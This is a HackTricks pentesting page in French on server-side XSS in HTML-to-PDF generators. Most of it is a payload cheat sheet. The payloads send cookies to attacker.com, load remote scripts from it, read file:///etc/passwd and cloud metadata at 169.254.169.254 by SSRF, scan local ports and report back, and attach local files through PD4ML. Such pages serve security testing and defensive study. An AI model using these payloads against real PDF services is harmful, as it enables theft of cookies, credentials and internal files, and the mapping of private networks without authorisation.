hacktricks/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md

11 KiB

Server Side XSS (Dynamic PDF)

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Server Side XSS (Dynamic PDF)

Si une page web crée un PDF en utilisant des entrées contrôlées par l'utilisateur, vous pouvez essayer de tromper le bot qui crée le PDF pour qu'il exécute du code JS arbitraire.
Donc, si le bot créateur de PDF trouve une sorte de balises HTML, il va les interpréter, et vous pouvez abuser de ce comportement pour provoquer un XSS côté serveur.

Veuillez noter que les balises <script></script> ne fonctionnent pas toujours, donc vous aurez besoin d'une méthode différente pour exécuter JS (par exemple, en abusant de <img ).
De plus, notez que dans une exploitation régulière, vous serez capable de voir/télécharger le PDF créé, donc vous pourrez voir tout ce que vous écrivez via JS (en utilisant document.write() par exemple). Mais, si vous ne pouvez pas voir le PDF créé, vous aurez probablement besoin d'extraire l'information en faisant des requêtes web vers vous (Blind).

  • wkhtmltopdf est connu pour sa capacité à convertir HTML et CSS en documents PDF, utilisant le moteur de rendu WebKit. Cet outil est disponible en tant qu'utilitaire en ligne de commande open-source, le rendant accessible pour une large gamme d'applications.
  • TCPDF offre une solution robuste au sein de l'écosystème PHP pour la génération de PDF. Il est capable de gérer des images, des graphiques et le chiffrement, montrant sa polyvalence pour créer des documents complexes.
  • Pour ceux qui travaillent dans un environnement Node.js, PDFKit présente une option viable. Il permet la génération de documents PDF directement à partir de HTML et CSS, fournissant un pont entre le contenu web et les formats imprimables.
  • Les développeurs Java pourraient préférer iText, une bibliothèque qui facilite non seulement la création de PDF mais prend également en charge des fonctionnalités avancées comme les signatures numériques et le remplissage de formulaires. Son ensemble de fonctionnalités complet le rend adapté à la génération de documents sécurisés et interactifs.
  • FPDF est une autre bibliothèque PHP, distinguée par sa simplicité et sa facilité d'utilisation. Elle est conçue pour les développeurs recherchant une approche directe pour la génération de PDF, sans avoir besoin de fonctionnalités étendues.

Payloads

Discovery

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

N'importe lequel des payloads précédents ou suivants peut être utilisé à l'intérieur de ce payload SVG. Un iframe accédant au sous-domaine Burpcollab et un autre accédant au point de terminaison des métadonnées sont donnés comme exemples.

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

Vous pouvez trouver beaucoup d'autres charges utiles SVG sur https://github.com/allanlw/svg-cheatsheet

Divulgation de chemin

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Charger un script externe

La meilleure façon conforme d'exploiter cette vulnérabilité est d'abuser de la vulnérabilité pour faire en sorte que le bot charge un script que vous contrôlez localement. Ensuite, vous pourrez modifier le payload localement et faire en sorte que le bot le charge avec le même code à chaque fois.

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

Lire un fichier local / SSRF

{% hint style="warning" %} Changez file:///etc/passwd par http://169.254.169.254/latest/user-data par exemple pour essayer d'accéder à une page web externe (SSRF).

Si SSRF est autorisé, mais que vous ne pouvez pas atteindre un domaine ou une IP intéressants, vérifiez cette page pour des contournements potentiels. {% endhint %}

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

Délai du bot

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

Scan de Port

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

SSRF

Cette vulnérabilité peut être transformée très facilement en SSRF (car vous pouvez faire en sorte que le script charge des ressources externes). Alors essayez simplement de l'exploiter (lire des métadonnées ?).

Attachments: PD4ML

Il existe des moteurs HTML 2 PDF qui permettent de spécifier des pièces jointes pour le PDF, comme PD4ML. Vous pouvez abuser de cette fonctionnalité pour joindre n'importe quel fichier local au PDF.
Pour ouvrir la pièce jointe, j'ai ouvert le fichier avec Firefox et j'ai double-cliqué sur le symbole du trombone pour enregistrer la pièce jointe en tant que nouveau fichier.
Capturer la réponse PDF avec burp devrait également montrer la pièce jointe en texte clair à l'intérieur du PDF.

{% code overflow="wrap" %}

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

{% endcode %}

Références

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}